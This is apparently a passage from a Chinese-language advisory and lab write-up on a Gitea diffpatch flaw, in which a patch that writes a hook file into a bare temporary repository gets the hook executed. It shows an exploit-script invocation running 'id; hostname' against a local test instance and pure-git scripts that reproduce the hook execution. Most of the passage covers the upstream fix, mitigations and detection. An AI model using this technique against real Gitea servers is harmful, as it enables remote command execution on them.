$ GITEA_PASSWORD='Attacker123!' python3 lab.py http://127.0.0.1:3001 attacker 'id; hostname' --patches 2
$ docker logs gitea-1.27.1 --tail 30

gitea_up.sh:

#!/bin/bash
# 起 Gitea:重置数据、启动容器、等 API、建 attacker。
set -e
V=$1
PORT=$2
NAME=gitea-$V
DATA=/opt/gitea-lab/data-$V

docker rm -f "$NAME" >/dev/null 2>&1 || true
rm -rf "$DATA"
mkdir -p "$DATA"
# 容器里的 uid 1000 要能写 /data
chown 1000:1000 "$DATA"

docker run -d --name "$NAME" \
  -p 127.0.0.1:$PORT:3000 \
  -v "$DATA:/data" \
  -e GITEA__database__DB_TYPE=sqlite3 \
  -e GITEA__security__INSTALL_LOCK=true \
  -e GITEA__server__ROOT_URL=http://127.0.0.1:$PORT/ \
  -e GITEA__server__HTTP_PORT=3000 \
  -e GITEA__service__DISABLE_REGISTRATION=true \
  ghcr.io/go-gitea/gitea:$V >/dev/null

for i in $(seq 1 90); do
  code=$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$PORT/api/v1/version" 2>/dev/null || true)
  if [ "$code" = "200" ]; then break; fi
  sleep 2
done

echo "version: $(curl -s http://127.0.0.1:$PORT/api/v1/version)"
docker exec -u git "$NAME" gitea admin user create \
  --username attacker --password 'Attacker123!' \
  --email attacker@example.com --must-change-password=false 2>&1 | tail -2
echo "users: $(docker exec -u git "$NAME" gitea admin user list 2>/dev/null | tail -n +2 | awk '{print $2}' | tr '\n' ' ')"

2、clone 参数应当改成非 bare

上游的修法就是这一行:

-	if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+	// here must NOT use bare repo, because the following git commands might operate working tree ("--index") directly
+	if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

非 bare 之后,临时仓库变成“工作树 + .git”两层。补丁里的 hooks/post-index-change 即使被三方合并写出来,也落在工作树的 hooks/,Git 加载钩子看的是 .git/hooks/,两者不再重合。

纯 git 里把同一套东西放到非 bare 克隆:

$ bash /opt/gitea-lab/mechanism_fixed.sh

工作树里的 hooks/post-index-change 是克隆时检出的普通文件;真正的钩子目录 .git/hooks/ 里没有它。三方合并即使成功,写的是工作树那一份,钩子加载器看的是 .git/hooks/ 那一份。

mechanism_fixed.sh:

#!/bin/bash
# 非 bare 布局:钩子落在工作树 hooks/,不执行。
set -u
T=$(mktemp -d /tmp/gitfix.XXXXXX)
rm -f /tmp/hook_ran
echo "tmp=$T"

cat > /tmp/hook.sh <<'EOS'
#!/bin/sh
echo "HOOK_RAN" >> /tmp/hook_ran
EOS
chmod +x /tmp/hook.sh
python3 "$(dirname "$0")/make_patch.py" /tmp/hook.sh > /tmp/hook.patch

cd "$T"
git init -q --bare origin.git
git -C origin.git symbolic-ref HEAD refs/heads/main
git clone -q origin.git seed
cd seed
git config user.email a@b
git config user.name a
echo hi > README
mkdir -p hooks
cp /tmp/hook.sh hooks/post-index-change
chmod +x hooks/post-index-change
git add README hooks/post-index-change
git commit -qm init
git push -q origin HEAD:main
cd ..

# 工作树和 .git 分开
echo "=== non-bare clone (Gitea 1.27.1 style) ==="
git clone -q origin.git work
cd work
echo "git-dir=$(git rev-parse --git-dir)"
echo "worktree hook:"; ls -l hooks/post-index-change
echo ".git/hooks hook:"; ls -l .git/hooks/post-index-change 2>&1
echo "=== apply the same add/add patch ==="
git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch; echo "apply rc=$?"
echo "marker: $(cat /tmp/hook_ran 2>&1)"
echo "=== where would a successful apply write? ==="
ls -ld hooks .git/hooks

3、补上这一行之后

修复生效后的变化:

  • 临时仓库的 core.bare 从 true 变成 false。

  • 补丁路径落在 <worktree>/hooks/,不再落到 $GIT_DIR/hooks/。

  • 第二次 add/add 三方合并会因为工作树/索引状态不一致而失败,Gitea 返回 500。

  • 钩子不再执行,refs/heads/leak-* 不会出现。

一个差异:纯 git 里这次 apply 返回 0,Gitea 1.27.1 里返回 500。错误信息是 does not match index,说明三方合并时工作树里的那一份和索引对不上;这来自两次请求之间的工作树/索引状态差异。两条路径都没有执行钩子,500 只是修复后的另一种表现。

flowchart TD
    A["补丁路径 hooks/post-index-change"] --> B{"临时仓库是 bare?"}
    B -->|"是(1.27.0)"| C["工作树 = $GIT_DIR"]
    C --> D["落到 $GIT_DIR/hooks/,执行"]
    B -->|"否(1.27.1)"| E["工作树 = 仓库目录,$GIT_DIR = 仓库目录/.git"]
    E --> F["落到 工作树/hooks/,不执行"]

4、拿不到补丁时的调用侧处理

升级不是所有环境都能立刻做,调用侧可以叠几层:

  1. 补丁路径白名单。 在应用层拒绝 hooks/、.git/ 以及其他保留目录,只允许业务文件路径。这是唯一能覆盖“未来某次重构又把工作树折回去”的一层。残余面:白名单如果按前缀匹配,hooks/../hooks/... 这类归一化差异仍可能漏,要做规范化后再比。

  2. 临时仓库禁用钩子。 对执行 apply 的临时仓库加 -c core.hooksPath=/dev/null,或者把临时目录挂成 noexec。即使文件落进 hooks 目录,也没有加载路径。纯 git 里做过对照:

$ bash /opt/gitea-lab/mitigation.sh
control rc=0
control marker: HOOK_RAN
mitigated rc=0
mitigated marker: cat: /tmp/hook_ran: 没有那个文件或目录

残余面:有些 Git 操作依赖钩子做审计,禁用前要确认业务不受影响。

mitigation.sh:

#!/bin/bash
# 对照:正常第二轮执行钩子;core.hooksPath=/dev/null 后不执行。
set -u
T=$(mktemp -d /tmp/gitmit.XXXXXX)
rm -f /tmp/hook_ran
echo "tmp=$T"

cat > /tmp/hook.sh <<'EOS'
#!/bin/sh
echo "HOOK_RAN" >> /tmp/hook_ran
EOS
chmod +x /tmp/hook.sh
python3 "$(dirname "$0")/make_patch.py" /tmp/hook.sh > /tmp/hook.patch

cd "$T"
git init -q --bare origin.git
git -C origin.git symbolic-ref HEAD refs/heads/main
git clone -q origin.git seed
cd seed
git config user.email a@b
git config user.name a
echo hi > README
git add README
git commit -qm init
git push -q origin HEAD:main
cd ..

# 第一轮:把钩子文件提交进树
git clone -q --bare -s origin.git temp1.git
cd temp1.git
git read-tree HEAD
git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch
tree=$(git write-tree)
commit=$(printf 'x\n' | GIT_AUTHOR_NAME=a GIT_AUTHOR_EMAIL=a@b GIT_COMMITTER_NAME=a GIT_COMMITTER_EMAIL=a@b git commit-tree "$tree" -p HEAD)
git update-ref refs/heads/main "$commit"
git push -q origin refs/heads/main:refs/heads/main
cd ..

# 对照组:正常 apply
echo "=== control: normal round 2 ==="
git clone -q --bare -s origin.git temp2.git
cd temp2.git
git read-tree HEAD
rm -f /tmp/hook_ran
git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch; echo "control rc=$?"
echo "control marker: $(cat /tmp/hook_ran 2>&1)"
cd ..

# 缓解组:钩子目录指向 /dev/null
echo "=== mitigated: core.hooksPath=/dev/null ==="
git clone -q --bare -s origin.git temp3.git
cd temp3.git
git read-tree HEAD
rm -f /tmp/hook_ran
git -c core.hooksPath=/dev/null apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch; echo "mitigated rc=$?"
echo "mitigated marker: $(cat /tmp/hook_ran 2>&1)"
ls -l hooks/post-index-change 2>&1
  1. 限制临时仓库的权限。 用独立的低权限用户跑补丁应用,容器内只挂载必要的仓库目录。把“命令以 Gitea 身份执行”降级成“命令以临时用户执行”。残余面:Gitea 本身需要读写仓库,权限压得太低会影响正常推送。

  2. 关闭公开注册,收紧 diffpatch 权限。 实例不需要陌生人建仓就关掉注册;不需要补丁 API,就在反向代理层拒掉 /api/v1/repos/*/*/diffpatch。这条链的入口是“任意账号 + 仓库写权限”,收窄入口比修一个参数更直接。

  3. 加一条日志规则。 对 diffpatch 的 201 响应后紧跟 git apply 且路径含 hooks/ 的请求告警。0day 窗口期升级不一定及时,这条规则能在利用发生时留下痕迹。

5、排查要点

  1. 源码:看 services/repository/files/patch.go 的 gitPatchPrepare(),t.Clone(ctx, opts.OldBranch, true) 的第三个参数是 bare;1.27.0 是 true,1.27.1 改成 false。同一函数后面的 git apply --index --cached ... -3 是另一个条件。

  2. 版本:gitea --version。1.17–1.26、1.27.0 受影响,1.27.1 修复;发行版打包的版本号可能和上游 tag 不一致,以二进制自报为准。

  3. 补丁:不用找畸形样本,看 diffpatch 请求里的 diff。路径含 hooks/、模式 100755、同一个补丁提交两次,这三个同时出现就可疑;正常业务补丁不会写 hooks/。

  4. 入口:在 diffpatch handler 前加路径白名单,拒绝 hooks/、.git/ 和保留目录;再对同一仓库的重复补丁做去重或告警。

  5. 日志:搜 diffpatch 的 201 后紧跟 git apply ... -3、临时目录里的 upload.git*/hooks/post-index-change、临时仓库 core.bare=true;1.27.1 搜 does not match index 和 patch does not apply。

检查清单就一句话:版本不低于 1.27.1,临时仓库不是 bare,补丁路径里不许出现 hooks/。

参考链接

CVE 记录:

厂商公告:

公开 PoC:

涉及源码(按 v1.27.0 / v1.27.1 定位):